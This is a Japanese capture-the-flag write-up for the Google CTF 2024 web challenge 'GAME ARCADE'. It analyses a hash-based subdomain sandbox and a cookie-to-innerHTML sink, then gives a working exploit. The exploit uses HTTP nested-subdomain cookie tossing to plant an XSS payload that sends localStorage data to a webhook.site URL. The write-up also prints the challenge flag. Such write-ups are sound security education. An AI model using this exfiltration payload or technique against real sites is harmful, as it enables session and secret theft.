6/22 - 6/24という日程で開催された。kijitoraで参加して2位。過去2年ともkijitoraというチーム名の案を出した以外にチームに貢献できていなかったので、今年はちょっと難しめの問題を1問解けて嬉しい。
ほかのメンバーのwriteup:
リンク:
[Web 333] GAME ARCADE (14 solves)
Hello Arcane Worrier! Are you ready, to break. the ARCADE. GAME.
Note: The challenge does not require any brute-forcing or content-discovery.
https://game-arcade-web.2024.ctfcompetition.com/
添付ファイル: bot.js
問題の概要
ZIP形式で添付ファイルが与えられているものの、中に含まれているのは bot.js
しかない。どうせXSS botのコードだろうし、どういうアプリかも把握していない状態で見ても意味がないだろうから後で見ることにする。
与えられたURLにアクセスすると、次のようにゲームの一覧が表示された。適当なゲームをクリックしてみると、blob URLで新しいウィンドウが開かれた。ドメイン名の部分はゲームごとにユニークらしい。
Password gameというゲームは次の通り。まず上のフォームから適当なパスワードを入力したあと、下のフォームでこのパスワードに対してヒットアンドブローというか、wordleというかという感じのゲームを遊べる。
トップページからは /static/
下の games.js
, util.js
, safe-frame.js
が読み込まれているほか、次のコードが実行されている。#1
のようにフラグメント識別子から何番目のゲームを開くかを指定できる(たとえば、#1
ではPassword gameが開かれる)らしい。これはページのロード時だけでなく、すでにロードされた後でも hashchange
イベントを受けて開いてくれる。ゲームを新たなウィンドウで開くのは previewFile
という関数の仕事のようだ。
const addFileInput = document.querySelector('#addFileInput'); const filesList = document.querySelector('#filesList'); const previewModalDiv = document.querySelector('#previewModal'); const previewIframeDiv = document.querySelector('#previewIframeDiv'); const safeFrameModal = new bootstrap.Modal(previewModalDiv); window.showModal = () => { safeFrameModal.show(); } const processHash = async () => { safeFrameModal.hide(); if (location.hash.length <= 1) return; const hash = location.hash.slice(1); const id = parseInt(hash); const fileDiv = document.getElementById(`file-${id}`); if (fileDiv === null) return; previewIframeDiv.textContent = ''; await sleep(0); if (!GAMES[id]?.html) { throw new Error(/couldn't find a game/); } previewFile(GAMES[id].html, GAMES[id].metadata); /* If modal is not shown remove hash */ setTimeout(() => { if (!previewModalDiv.classList.contains('show')) { location.hash = ''; } }, 2000); } window.addEventListener('hashchange', processHash, true); window.addEventListener('load', async () => { for (let i = 0; i < GAMES.length; i++) { appendFileInfo(i) } processHash(); }); previewModalDiv.addEventListener('hide.bs.modal', () => { scaleSpan.innerText = '100%'; location.hash = ''; previewIframeDiv.textContent = ''; });
読み込まれていたJSファイルを見ていく。games.js
は次のような構造になっている。ゲームのHTMLと名前、それからウィンドウのサイズがメタデータとして含まれているようだ。
window.GAMES = [ … { name: "Password Game", metadata: { width: 642, height: 516, }, html: `<html> <head> <meta charset=utf-8> … </body> </html>`, }, … ];
util.js
は次の通り。previewFile
の定義がここにあるけれども、結局 safeFrameRender
に投げられている。
const sleep = (d) => new Promise((r) => setTimeout(r, d)); async function appendFileInfo(id) { const ul = document.querySelector("#filesList"); const row = document.createElement("a"); row.className = "list-group-item list-group-item-action"; row.href = "#" + id; row.id = "file-" + id; row.innerText = GAMES[id].name; ul.appendChild(row); } async function previewFile(body, metadata) { console.log(metadata); await window.safeFrameRender(body, "text/html;charset=utf-8", metadata); }
safeFrameRender
は safe-iframe.js
で定義されていた。ファイル名や関数名が示しているように、先ほど games.js
中で定義されていた各ゲームのHTMLを安全に描画するために、(ハッシュ値)-h641507400.scf.usercontent.goog/google-ctf/shim.html
上でそのHTMLを表示する処理を行っている。
このドメイン名に含まれる「ハッシュ値」については、google-ctf
, 表示するHTML, オリジンの3要素をもとに計算されている。同じゲームであれば当然常に同じドメイン名になるというわけだ。あわせて、クエリパラメータから元ページのオリジンも与えている。表示するHTMLはどうやって与えているかというと、どうやら postMessage
で渡しているようだ。
if (!crypto.subtle) { import( "https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.11.0/sha256.min.js" ); crypto.subtle = { digest: async function (c, body) { var hash = sha256.create(); hash.update(body); return hash.arrayBuffer(); }, }; } function arrayToBase36(arr) { return arr .reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0)) .toString(36); } function concatBuffers(...buffers) { let length = 0; for (const buf of buffers) { length += buf.byteLength; } const newBuf = new Uint8Array(length); let offset = 0; for (const buf of buffers) { newBuf.set(new Uint8Array(buf), offset); offset += buf.byteLength; } return newBuf.buffer; } async function calculateHash(...parts) { const encoder = new TextEncoder(); const newParts = []; for (let i = 0; i < parts.length; i++) { const part = parts[i]; if (typeof part === "string") { newParts.push(encoder.encode(part).buffer); } else { newParts.push(part); } if (i < parts.length - 1) { newParts.push(encoder.encode("$@#|").buffer); } } const buffer = concatBuffers(...newParts); const hash = await crypto.subtle.digest("SHA-256", buffer); return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50); } window.safeFrameRender = async function safeFrameRender( body, mimeType, metadata ) { const product = "google-ctf"; const hash = await calculateHash(product, body, window.origin); const url = new URL( `https://${hash}-h641507400.scf.usercontent.goog/google-ctf/shim.html` ); url.searchParams.set("origin", window.origin); url.searchParams.set("cache", "1"); const width = metadata?.width || screen.width * 0.8; const height = metadata?.height || screen.height * 0.8; const left = (screen.width - width) / 2; const top = (screen.height - height) / 2; const safeWindow = window.open( url, "_blank", `width=${width}, height=${height}, top=${top}, left=${left}` ); const loadedPromise = new Promise((resolve) => { const interval = setInterval(() => { const messageChannel = new MessageChannel(); messageChannel.port1.onmessage = () => { resolve(); clearInterval(interval); }; safeWindow.postMessage(1, url.origin, [messageChannel.port2]); }, 100); }); loadedPromise.then(() => { const messageChannel = new MessageChannel(); messageChannel.port1.onmessage = (e) => { console.log(e.data); }; safeWindow.postMessage( { body, mimeType, salt: new TextEncoder().encode(body).buffer }, url.origin, [messageChannel.port2] ); }); return { safeWindow, safeFrameOrigin: url.origin, loadedPromise }; };
(ハッシュ値)-h641507400.scf.usercontent.goog/google-ctf/shim.html
の内容も見てみる。パックされていてちょっと読みづらい。これだけの文字数を費やして何をやっているか*1というと、ドメイン名に含まれるハッシュ値が正しいかどうかを検証している。
shim.html
を開いた元のウィンドウからは、ハッシュ値の計算に使われる要素がパスやクエリパラメータ、postMessage
で与えられている。もし求まったハッシュ値とドメイン名に含まれるハッシュ値が異なっていれば、与えられたHTMLの描画は行わない。これによってゲームごとに使われるドメイン名を分離し、サンドボックス的な環境を作っているらしい。
さて、bot.js
を読んでいこう。重要な部分は以下の通り。まず問題サーバを開き、フラグメント識別子を活用してPassword gameを開く。ゲームで推測する対象のパスワードとしてフラグを入力してから閉じ、そしてユーザから与えられたURLを開くという流れだ。Puppeteerが使われているわけだけれども、わざわざFirefoxが選択されていることにも注目したい。
const browser = await puppeteer.launch({ product: "firefox", // npx puppeteer browsers install firefox@stable protocol: "webDriverBiDi", userDataDir: "/tmp/mozilla-userdata", }); // … const page = await context.newPage(); await page.goto(PAGE_URL, { timeout: 2000 }); const pageStr = await page.evaluate( () => document.documentElement.innerHTML ); if (!pageStr.includes("Game Arcade")) { const msg = "Error: Failed to load challenge page. Please contact admins."; console.error(`Page:${pageStr}`); sendToPlayer(msg); throw new Error(msg); } sendToPlayer("Adming's playing Guess the Password."); await page.waitForSelector("#file-0"); page.click("#file-1"); const popup = await context .waitForTarget((target) => { return target.url().startsWith("blob:"); }) .then((e) => e.page()); await popup.waitForSelector("#guessInp"); await popup.type("#passwordInp", FLAG); await popup.click("#changePwdBtn"); await sleep(500); await popup.close(); await page.close(); await sleep(500); sendToPlayer(`Visiting ${url}`); let playerPage = null; setTimeout(() => { try { sendToPlayer(`Timeout [${playerPage.url()}]`); context.close().catch((e) => { console.error(e); }); end(socket); } catch (err) { console.log(`err: ${err}`); } }, BOT_TIMEOUT); try { playerPage = await context.newPage(); playerPage.goto(url).catch((e) => { console.error(e); }); } catch (e) { console.error(e); }
実は、Password gameでは以下のようにCookieとLocal Storageにパスワードが保存されている。これを盗み出せばよいらしい。が、Password gameのオリジンで好きなHTMLを描画させようにも、前述のサンドボックスの仕組みが邪魔してくる。どうすればよいだろうか。
function savePassword(pwd){ document.cookie = `password=${pwd}`; localStorage.setItem('password', pwd) return pwd; }
Password gameのXSS?
まずLength Extension Attackを考えたが、ハッシュ値は google-ctf
という文字列, HTML, オリジンの順番で結合された文字列を対象に計算されるので、ユーザがコントロールできる位置が微妙で難しい。
Password gameのオリジンで任意のHTMLを描画させる方法を考えていたが、なかなか思いつかない。描画されるHTMLは postMessage
で shim.html
に送信されるわけだけれども、shim.html
では送信元のオリジンが検証されており、また送られてきたHTMLについていちいちハッシュ値を計算してドメイン名に含まれるものと比較するという処理になっており、postMessage
で悪さはできなそうだ。
悩みに悩んだ挙げ句、実はPassword gameにXSSへ繋げられる脆弱性があり、なんらかの方法でペイロードを流し込めるのではないか、とまずあり得なそうなアイデアが出てきた。違うだろうが一応見ようと確認してみたところ、Password gameのページが開かれた際に、CookieもしくはLocal Storageから読み込んだパスワードをそのまま innerHTML
に代入しているとわかった。
Cookieの password
にペイロードを仕込むことができればXSSに持ち込めるのではないか。幸いフラグはCookieだけでなくLocal Storageにも保存されているわけだから、Cookieは潰してしまってよい。あり得ないように思っていたが、実はあり得るのではないか*2。
let password = getCookie('password') || localStorage.getItem('password') || "okoń"; let correctPasswordSpan = document.createElement('span'); correctPasswordSpan.classList.add('correct'); correctPasswordSpan.innerHTML = password; let steps = 0;
Domain属性をつけつつCookieを設定する
どうやってCookieを書き換えるか。Domain属性を使えるのではないかと考えた。まずCookieを書き換えるためのHTMLを (ハッシュ値)-h641507400.scf.usercontent.goog/google-ctf/shim.html
上で描画させ(これはハッシュ値さえ合わせれば可能だ)、その後でPassword gameを表示させる。この際、Cookieについては domain=scf.usercontent.goog
とDomain属性を指定することで、scf.usercontent.goog
のサブドメインでも、つまりPassword gameがホストされているドメイン名(0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog
)であっても書き換えた後のものが送信されるはずだ。
しかし、試してみてもうまくいかない。もしやと思いPublic Suffix List(PSL)を確認してみたところ、*.usercontent.goog
で丸ごとリストに乗っていた。scf.usercontent.goog
はeTLDであるから、クッキーモンスターバグを防ぐためにこれをDomain属性で指定できないわけだ。
振り出しに戻ったように感じられたが、また別のアイデアを思いつく。https://hoge.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html
のようにサブドメインにサブドメインを重ねた場合にはどうなるだろう。アクセスしてみると、TLSの証明書が *.scf.usercontent.goog
を対象に発行されているためにその検証には失敗するものの、同じ shim.html
が表示された。
shim.html
においてドメイン名に含まれるハッシュ値(fileHash
)がどう抽出されているか見てみると、正規表現によって、ドメイン名の先頭に存在する ([a-z0-9]{50})-h(\d+)
を抜き出しているとわかる。なるほど、(Cookieを書き換えるHTMLのハッシュ値).(Password gameのハッシュ値).scf.usercontent.goog
というドメイン名において、domain=(Password gameのハッシュ値).scf.usercontent.goog
というDomain属性でCookieを発行するようなHTMLを描画させればよいのではないか。
var L = /^([a-z0-9]{50})-h(\d+)[.]/; // … const d = L.exec(O); if (d === null || d[1] === null || d[2] === null) throw Error(`Hashed domain '${O}' must match the following regular expression: ${L}`); const { fileHash: c, version: e } = { fileHash: d[1], version: d[2] },
解く
けれども、証明書の検証に引っかかってしまうという問題が残っている。どうすればよいかと少し悩み、HTTPSがダメならHTTPはどうかと考えた。試しに http://hoge.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html
にアクセスしてみると、HTTPでもアクセス可能であり、またHTTPSへリダイレクトされないことを確認できた。これで準備ができた*3。
出来上がったexploitは次の通り。
<body> <script src="util.js"></script> <script> async function main(body, mimeType, metadata) { const product = "google-ctf"; const hash = await calculateHash(product, body, window.origin); const url = new URL( `http://${hash}-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html` ); url.searchParams.set("origin", window.origin); url.searchParams.set("cache", "1"); const safeWindow = window.open( url, "_blank" ); const loadedPromise = new Promise((resolve) => { const interval = setInterval(() => { const messageChannel = new MessageChannel(); messageChannel.port1.onmessage = () => { resolve(); clearInterval(interval); }; safeWindow.postMessage(1, url.origin, [messageChannel.port2]); }, 100); }); loadedPromise.then(() => { const messageChannel = new MessageChannel(); messageChannel.port1.onmessage = (e) => { console.log(e.data); }; safeWindow.postMessage( { body, mimeType, salt: new TextEncoder().encode(body).buffer }, url.origin, [messageChannel.port2] ); }); } const u = 'https://game-arcade-web.2024.ctfcompetition.com/'; // 2. Cookieの設定が終わったという通知が来たので、Password gameを開いてXSSを発火させる window.onmessage = e => { if (!e.data.iiyo) return; const w = window.open(u); setTimeout(() => { w.location = u + '#1' }, 1000); }; // 1. CookieにXSSのペイロードを仕込む const payload = encodeURIComponent('<img src=x onerror="(new Image).src=[`https://webhook.site/…?`,localStorage.getItem(`password`)]">'); main(` <script> // Domain属性でPassword gameがホストされているドメイン名を指定する document.cookie = 'password=${payload}; domain=0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog'; // Cookieの設定が終わったので、元のウィンドウに知らせる window.opener.postMessage({iiyo:true}, 'https://attacker.example.com'); <\/script> `, 'text/html', {width: 400, height: 400}); </script> </body>
このHTMLを適当なWebサーバでホストし、XSS botに巡回させると、フラグが得られた。
CTF{Bugs_Bugs_Where?_Everywhere!208c92890560773b2fa5b69f69d1a435}